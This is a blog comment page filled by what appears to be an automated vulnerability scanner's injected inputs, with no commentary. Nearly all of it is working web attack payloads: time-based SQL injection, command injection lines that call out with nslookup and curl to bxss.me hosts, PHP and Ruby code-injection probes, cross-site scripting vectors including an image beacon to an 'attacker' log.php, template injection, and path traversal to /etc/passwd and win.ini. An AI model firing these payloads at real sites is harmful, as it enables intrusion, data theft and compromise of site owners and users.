MasterClass Admin . 5 มี.ค., 2024, 1:20 PM
(select 198766*667891 from DUAL)
(select 198766*667891)
@@5yoig
1
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1d6vmgPBg')) OR 642=(SELECT 642 FROM PG_SLEEP(15))--
1pKsNHnMw') OR 111=(SELECT 111 FROM PG_SLEEP(15))--
112dL6FTQ' OR 830=(SELECT 830 FROM PG_SLEEP(15))--
1-1)) OR 411=(SELECT 411 FROM PG_SLEEP(15))--
1-1) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
1-1 OR 684=(SELECT 684 FROM PG_SLEEP(15))--
15KTNQT3F'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "Faw78z9n"="
-1' OR 5*5=25 or 'LN5odS6S'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
1
1ZXAFI8oE
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitjfmtkpfnuc34b85.bxss.me||curl${IFS}hitjfmtkpfnuc34b85.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjfmtkpfnuc34b85.bxss.me||curl${IFS}hitjfmtkpfnuc34b85.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hititmhacfrzgdbf81.bxss.me||curl${IFS}hititmhacfrzgdbf81.bxss.me)
;(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)|(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)&(nslookup -q=cname hitjrjgtbbwot0ac04.bxss.me||curl hitjrjgtbbwot0ac04.bxss.me)
`(nslookup -q=cname hitdttqlofpfvc1c1b.bxss.me||curl hitdttqlofpfvc1c1b.bxss.me)`
|(nslookup -q=cname hitqqgyiohdsg71488.bxss.me||curl hitqqgyiohdsg71488.bxss.me)
&(nslookup -q=cname hitiazbhqaqjvf1904.bxss.me||curl hitiazbhqaqjvf1904.bxss.me)&'\"`0&(nslookup -q=cname hitiazbhqaqjvf1904.bxss.me||curl hitiazbhqaqjvf1904.bxss.me)&`'
&nslookup -q=cname hitxythvqyvslf7c79.bxss.me&'\"`0&nslookup -q=cname hitxythvqyvslf7c79.bxss.me&`'
gethostbyname(lc('hitfc'.'zubhjauqfda4d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(70).chr(122).chr(78)
$(nslookup -q=cname hitsjxkjuilqy886c7.bxss.me||curl hitsjxkjuilqy886c7.bxss.me)
".gethostbyname(lc("hitys"."ckrbyzsz9163c.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(74).chr(101).chr(77)."
(nslookup -q=cname hitiskcfgodaa3c818.bxss.me||curl hitiskcfgodaa3c818.bxss.me))
1
expr 9000548128 - 918091
'.gethostbyname(lc('hitbd'.'pxapnvtja2df1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(74).chr(105).chr(80).'
1|echo ymoevo$()\ zjwknc\nz^xyu||a #' |echo ymoevo$()\ zjwknc\nz^xyu||a #|" |echo ymoevo$()\ zjwknc\nz^xyu||a #
|echo echqmn$()\ qhrodt\nz^xyu||a #' |echo echqmn$()\ qhrodt\nz^xyu||a #|" |echo echqmn$()\ qhrodt\nz^xyu||a #
1&echo yhxbbj$()\ ctkezm\nz^xyu||a #' &echo yhxbbj$()\ ctkezm\nz^xyu||a #|" &echo yhxbbj$()\ ctkezm\nz^xyu||a #
&echo qtmgvr$()\ rghkph\nz^xyu||a #' &echo qtmgvr$()\ rghkph\nz^xyu||a #|" &echo qtmgvr$()\ rghkph\nz^xyu||a #
echo kacgmj$()\ pjovac\nz^xyu||a #' &echo kacgmj$()\ pjovac\nz^xyu||a #|" &echo kacgmj$()\ pjovac\nz^xyu||a #
19606395
1
"+response.write(9408506*9520665)+"
1
'+response.write(9408506*9520665)+'
1
'"()&%<zzz><ScRiPt >w6kt(9573)</ScRiPt>
'.print(md5(31337)).'
<!--
${@print(md5(31337))}\
response.write(9408506*9520665)
'"
1'"()&%<zzz><ScRiPt >w6kt(9340)</ScRiPt>
1
1
1
1
1
${@print(md5(31337))}
";print(md5(31337));$a="
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
http://bxss.me/t/fit.txt%3F.jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
bxss.me
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
/etc/shells
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(110).concat(77)+(require'socket' Socket.gethostbyname('hitlo'+'iyiaohqsf3909.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(104).concat(89).concat(107).concat(66)+(require'socket' Socket.gethostbyname('hitcr'+'vrnrvmov4e13f.bxss.me.')[3].to_s)+'
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(113).concat(77).concat(105).concat(79)+(require"socket" Socket.gethostbyname("hitre"+"aqkggrli35cf8.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1"||sleep(27*1000)*sbdbgr||"
1
1
1'||sleep(27*1000)*iyylwk||'
1"&&sleep(27*1000)*dpblqz&&"
1
${9999744+9999995}
1'&&sleep(27*1000)*ceybgk&&'
../1
1
1
file:///etc/passwd
'"()
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
!(()&&!|*|*|
1
1
)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@HNObA
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5553shn5AFk')) OR 421=(SELECT 421 FROM PG_SLEEP(15))--
5557dJziOkg') OR 983=(SELECT 983 FROM PG_SLEEP(15))--
555xgmx1Kyo' OR 615=(SELECT 615 FROM PG_SLEEP(15))--
555-1)) OR 359=(SELECT 359 FROM PG_SLEEP(15))--
555-1) OR 488=(SELECT 488 FROM PG_SLEEP(15))--
555-1 OR 922=(SELECT 922 FROM PG_SLEEP(15))--
555V2nzIZRF'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "DaMqaH0j"="
-1' OR 5*5=25 or 'Iuc8w3y2'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555ax16JoGx
555
555
555
555
555
555
555
555
555
"+response.write(9615355*9312464)+"
'+response.write(9615355*9312464)+'
555
response.write(9615355*9312464)
555
555
555
555
555
gethostbyname(lc('hitpt'.'dzuwnlqw610eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(80).chr(119).chr(76)
5559433293
".gethostbyname(lc("hitms"."iegrchspf7e50.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(80).chr(116).chr(90)."
'.gethostbyname(lc('hitna'.'ehnybkqb14024.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(85).chr(121).chr(74).'
'"()&%<zzz><ScRiPt >TxSz(9208)</ScRiPt>
<!--
'"
555'"()&%<zzz><ScRiPt >TxSz(9071)</ScRiPt>
555
555
555
blog-comment-submit/.
blog-comment-submit
blog-comment-submit
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
555
555
${@print(md5(31337))}
555
bxss.me/t/xss.html?%00
";print(md5(31337));$a="
555
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
555
555
http://bxss.me/t/fit.txt?.jpg
555
Http://bxss.me/t/fit.txt
555
bxss.me
555
555
555
c:/windows/win.ini
555
../../../../../../../../../../../../../../etc/shells
/etc/shells
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
'A'.concat(70-3).concat(22*4).concat(110).concat(72).concat(105).concat(88)+(require'socket' Socket.gethostbyname('hitjd'+'yscoxcqg8873c.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(113).concat(81)+(require'socket' Socket.gethostbyname('hitac'+'wkejijihd50d8.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(116).concat(83).concat(114).concat(68)+(require"socket" Socket.gethostbyname("hittk"+"fammsfrr6a392.bxss.me.")[3].to_s)+"
&(nslookup${IFS}-q${IFS}cname${IFS}hitxqrnpomhzt2814a.bxss.me||curl${IFS}hitxqrnpomhzt2814a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxqrnpomhzt2814a.bxss.me||curl${IFS}hitxqrnpomhzt2814a.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hitscjzrxaclbb41f6.bxss.me||curl${IFS}hitscjzrxaclbb41f6.bxss.me)
555
;(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)|(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)&(nslookup -q=cname hitoynskulbuva6b03.bxss.me||curl hitoynskulbuva6b03.bxss.me)
`(nslookup -q=cname hittjmblkupkp73e08.bxss.me||curl hittjmblkupkp73e08.bxss.me)`
555
|(nslookup -q=cname hitnkkpagscmfd842f.bxss.me||curl hitnkkpagscmfd842f.bxss.me)
555
&(nslookup -q=cname hitlmrmouezdk7fbf4.bxss.me||curl hitlmrmouezdk7fbf4.bxss.me)&'\"`0&(nslookup -q=cname hitlmrmouezdk7fbf4.bxss.me||curl hitlmrmouezdk7fbf4.bxss.me)&`'
555
${9999523+9999260}
555
&nslookup -q=cname hitzrfthlwocoaae39.bxss.me&'\"`0&nslookup -q=cname hitzrfthlwocoaae39.bxss.me&`'
555
$(nslookup -q=cname hitfvepmwpuqe9ad2a.bxss.me||curl hitfvepmwpuqe9ad2a.bxss.me)
555
(nslookup -q=cname hitjoqdgbwptx57a73.bxss.me||curl hitjoqdgbwptx57a73.bxss.me))
555
expr 9000477374 - 980898
555|echo khrlfm$()\ wdfbxu\nz^xyu||a #' |echo khrlfm$()\ wdfbxu\nz^xyu||a #|" |echo khrlfm$()\ wdfbxu\nz^xyu||a #
555
555
|echo rvrpyc$()\ djhduq\nz^xyu||a #' |echo rvrpyc$()\ djhduq\nz^xyu||a #|" |echo rvrpyc$()\ djhduq\nz^xyu||a #
555&echo wdlvkh$()\ pupzvc\nz^xyu||a #' &echo wdlvkh$()\ pupzvc\nz^xyu||a #|" &echo wdlvkh$()\ pupzvc\nz^xyu||a #
555<esi:include src="http://bxss.me/rpb.png"/>
555
&echo evenpu$()\ dkftfb\nz^xyu||a #' &echo evenpu$()\ dkftfb\nz^xyu||a #|" &echo evenpu$()\ dkftfb\nz^xyu||a #
555
12345'"\'\");|]* { < >
echo rsiuhi$()\ xtdzqv\nz^xyu||a #' &echo rsiuhi$()\ xtdzqv\nz^xyu||a #|" &echo rsiuhi$()\ xtdzqv\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
../555
555
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555"||sleep(27*1000)*dezfbj||"
555'||sleep(27*1000)*rtkbus||'
../../../../../../../../../../../../../../etc/passwd
555"&&sleep(27*1000)*vegffi&&"
555'&&sleep(27*1000)*okhujl&&'
'"()
555
555
555
redirtest.acx
555
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
555
555
555
1
1
1
555
555
555
555
555
555
555
555
555<aEIeddY<
555
555
555<img sRc='http://attacker-9905/log.php?
555
555<asRpfll x=9402>
555<ifRAme sRc=9209.com></IfRamE>
555
555<WSIS29>UPLT6[!+!]</WSIS29>
555pRbwN <ScRiPt >frAu(9183)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(frAu(9193))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=frAu(9801)>
555
555
555
555<ScRiPt>frAu(9786)</sCripT>
555
555\u003CScRiPt\frAu(9711)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%66%72%41%75%289189%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9425)>
555
555<img src=xyz OnErRor=frAu(9438)>
555<img src=//xss.bxss.me/t/dot.gif onload=frAu(9783)>
555
555<body onload=frAu(9824)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9477'>
555
555<isindex type=image src=1 onerror=frAu(9398)>
555
555<svg
555
555< ScRiPt >frAu(9102)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9953></ScRiPt>
555
555
555<ScRiPt >frAu(9720)</ScRiPt>
555<ScR<ScRiPt>IpT>frAu(9109)</sCr<ScRiPt>IpT>
555
555 frAu(9094) 9094
555
555 frAu(9949)
555<WQ56MJ>ZGQ5P[!+!]</WQ56MJ>
555
555<ScRiPt >frAu(9527)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
555
dfb[[${98991*97996}]]xca
555
dfb{{98991*97996}}xca
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
555
bfgx6958
555
bfg7672＜s1﹥s2ʺs3ʹhjl7672
555
555
5559831805
555
'"()&%<zzz><ScRiPt >frAu(9117)</ScRiPt>
555
555'"()&%<zzz><ScRiPt >frAu(9611)</ScRiPt>
555
555
555
555<aX1yJxZ<
555
555
555<img sRc='http://attacker-9247/log.php?
555<aNhK6tn x=9228>
555
555<ifRAme sRc=9197.com></IfRamE>
555
555
555<WML9Z7>BS4BA[!+!]</WML9Z7>
555XLQHi <ScRiPt >HvMw(9631)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(HvMw(9733))}
555
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=HvMw(9212)>
555
555
555
555<ScRiPt>HvMw(9242)</sCripT>
555
555\u003CScRiPt\HvMw(9012)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%48%76%4D%77%289772%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9359)>
555
555<img src=xyz OnErRor=HvMw(9414)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=HvMw(9568)>
555<body onload=HvMw(9242)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9180'>
555
555<isindex type=image src=1 onerror=HvMw(9692)>
555
555<svg
555
555< ScRiPt >HvMw(9302)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9068></ScRiPt>
555<ScRiPt >HvMw(9334)</ScRiPt>
555
555<ScR<ScRiPt>IpT>HvMw(9456)</sCr<ScRiPt>IpT>
555
555 HvMw(9449) 9449
555
555 HvMw(9008)
555
555
555<WRU5NL>3GY3W[!+!]</WRU5NL>
555
555<ScRiPt >HvMw(9164)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
555
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
<%={{={@{#{${dfb}}%>
bfgx6583
bfg4720＜s1﹥s2ʺs3ʹhjl4720
5559368772
'"()&%<zzz><ScRiPt >HvMw(9845)</ScRiPt>
555'"()&%<zzz><ScRiPt >HvMw(9251)</ScRiPt>
555<aQ6WyIa<
555<img sRc='http://attacker-9916/log.php?
555<a3wcdXM x=9763>
555<ifRAme sRc=9440.com></IfRamE>
555<WB3JCO>1BB4O[!+!]</WB3JCO>
5551sWxE <ScRiPt >jzBP(9400)</ScRiPt>
555
555
555}body{zzz:Expre/**/SSion(jzBP(9034))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555
555
555<input autofocus onfocus=jzBP(9812)>
555
555<ScRiPt>jzBP(9372)</sCripT>
555
555\u003CScRiPt\jzBP(9243)\u003C/sCripT\u003E
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%7A%42%50%289228%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9452)>
555
555<img src=xyz OnErRor=jzBP(9041)>
555<img src=//xss.bxss.me/t/dot.gif onload=jzBP(9628)>
555
555
555<body onload=jzBP(9173)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9519'>
555<isindex type=image src=1 onerror=jzBP(9790)>
555
555<svg
555< ScRiPt >jzBP(9380)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9806></ScRiPt>
555<ScRiPt >jzBP(9804)</ScRiPt>
555
555<ScR<ScRiPt>IpT>jzBP(9422)</sCr<ScRiPt>IpT>
555
555 jzBP(9288) 9288
555
555
555 jzBP(9086)
555
555<WOZAOO>WBFQG[!+!]</WOZAOO>
555
555<ScRiPt >jzBP(9238)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
555
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
555
<%={{={@{#{${dfb}}%>
555
bfgx9587
bfg1077＜s1﹥s2ʺs3ʹhjl1077
555
555
5559366706
555
555
555
'"()&%<zzz><ScRiPt >jzBP(9537)</ScRiPt>
555'"()&%<zzz><ScRiPt >jzBP(9227)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@QpRB0
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Kq7Nj5Qy')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--
555uIszfwxN') OR 974=(SELECT 974 FROM PG_SLEEP(15))--
555jgYP9IeL' OR 168=(SELECT 168 FROM PG_SLEEP(15))--
555-1)) OR 678=(SELECT 678 FROM PG_SLEEP(15))--
555-1) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
555-1 OR 710=(SELECT 710 FROM PG_SLEEP(15))--
555PFi0frxC'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "pWagwaXt"="
-1' OR 5*5=25 or 'ChnK4xEX'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
5557dOq3Dfn
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9703348*9717846)+"
555
555
555
'+response.write(9703348*9717846)+'
555
response.write(9703348*9717846)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
555
'"
555
555
555
555
555
555
555
555
555
555
555
555
555
5559848106
555
555
555
'"()&%<zzz><ScRiPt >YSca(9943)</ScRiPt>
gethostbyname(lc('hitqv'.'zufywuxdaf1e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(102).chr(66)
555
555
".gethostbyname(lc("hitte"."uruijasvcef8c.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(78).chr(109).chr(90)."
555
'.gethostbyname(lc('hitud'.'ttsnblhda3c45.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(82).chr(108).chr(80).'
555
555
555
555'"()&%<zzz><ScRiPt >YSca(9158)</ScRiPt>
555
555
555
555
555
555
555
555
blog-comment-submit/.
http://bxss.me/t/fit.txt?.jpg
blog-comment-submit
Http://bxss.me/t/fit.txt
555
blog-comment-submit
555
bxss.me
c:/windows/win.ini
555
555
555
555
555
'.print(md5(31337)).'
555
../../../../../../../../../../../../../../etc/shells
${@print(md5(31337))}\
555
/etc/shells
${@print(md5(31337))}
555
";print(md5(31337));$a="
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
';print(md5(31337));$a='
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitedaznjhtyz76607.bxss.me||curl${IFS}hitedaznjhtyz76607.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitedaznjhtyz76607.bxss.me||curl${IFS}hitedaznjhtyz76607.bxss.me)&`'
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitsnsonyvlld6bc52.bxss.me||curl${IFS}hitsnsonyvlld6bc52.bxss.me)
555
555
555
555
555
555
555
;(nslookup -q=cname hitnomzseseth78ffc.bxss.me||curl hitnomzseseth78ffc.bxss.me)|(nslookup -q=cname hitnomzseseth78ffc.bxss.me||curl hitnomzseseth78ffc.bxss.me)&(nslookup -q=cname hitnomzseseth78ffc.bxss.me||curl hitnomzseseth78ffc.bxss.me)
555
`(nslookup -q=cname hitmtpzyyxgdk78aa7.bxss.me||curl hitmtpzyyxgdk78aa7.bxss.me)`
555
555
555
|(nslookup -q=cname hittsgkflzipf5e8d3.bxss.me||curl hittsgkflzipf5e8d3.bxss.me)
'A'.concat(70-3).concat(22*4).concat(100).concat(82).concat(110).concat(67)+(require'socket' Socket.gethostbyname('hitwl'+'cplwgqqm7a0c1.bxss.me.')[3].to_s)
555
&(nslookup -q=cname hitiptmjsyfmy4f5aa.bxss.me||curl hitiptmjsyfmy4f5aa.bxss.me)&'\"`0&(nslookup -q=cname hitiptmjsyfmy4f5aa.bxss.me||curl hitiptmjsyfmy4f5aa.bxss.me)&`'
'+'A'.concat(70-3).concat(22*4).concat(122).concat(82).concat(112).concat(78)+(require'socket' Socket.gethostbyname('hiten'+'yegvpikm64db1.bxss.me.')[3].to_s)+'
&nslookup -q=cname hitsnbotzvcedb665c.bxss.me&'\"`0&nslookup -q=cname hitsnbotzvcedb665c.bxss.me&`'
"+"A".concat(70-3).concat(22*4).concat(103).concat(80).concat(99).concat(90)+(require"socket" Socket.gethostbyname("hithi"+"dmkkppby55806.bxss.me.")[3].to_s)+"
555
555
$(nslookup -q=cname hitsdgnsiaqzve402a.bxss.me||curl hitsdgnsiaqzve402a.bxss.me)
555
555
555
555
555
(nslookup -q=cname hitfgewnjtjdn06dda.bxss.me||curl hitfgewnjtjdn06dda.bxss.me))
bxss.me/t/xss.html?%00
555
555
expr 9000646787 - 961490
HttP://bxss.me/t/xss.html?%00
555
555|echo qzfcaq$()\ aslvje\nz^xyu||a #' |echo qzfcaq$()\ aslvje\nz^xyu||a #|" |echo qzfcaq$()\ aslvje\nz^xyu||a #
|echo klcqxw$()\ mtafbo\nz^xyu||a #' |echo klcqxw$()\ mtafbo\nz^xyu||a #|" |echo klcqxw$()\ mtafbo\nz^xyu||a #
555
555
555&echo qyxhvg$()\ hnppqg\nz^xyu||a #' &echo qyxhvg$()\ hnppqg\nz^xyu||a #|" &echo qyxhvg$()\ hnppqg\nz^xyu||a #
555
&echo ofqzuj$()\ ygoowl\nz^xyu||a #' &echo ofqzuj$()\ ygoowl\nz^xyu||a #|" &echo ofqzuj$()\ ygoowl\nz^xyu||a #
555
echo jhwpef$()\ wxwajt\nz^xyu||a #' &echo jhwpef$()\ wxwajt\nz^xyu||a #|" &echo jhwpef$()\ wxwajt\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*xsdsea||"
555
${9999267+10000285}
555'||sleep(27*1000)*gmurre||'
555
555"&&sleep(27*1000)*mddsdc&&"
555
555
555'&&sleep(27*1000)*ftjavt&&'
12345'"\'\");|]* { < >
555
'"()
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
../555
555
555
555
555
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
555
555
555
555
1BIXHTRTIP0
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@AoTsc
555
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5551FZB1z7m')) OR 636=(SELECT 636 FROM PG_SLEEP(15))--
555pXWyQ8B1') OR 833=(SELECT 833 FROM PG_SLEEP(15))--
5551QEaoxGf' OR 409=(SELECT 409 FROM PG_SLEEP(15))--
555-1)) OR 984=(SELECT 984 FROM PG_SLEEP(15))--
555-1) OR 71=(SELECT 71 FROM PG_SLEEP(15))--
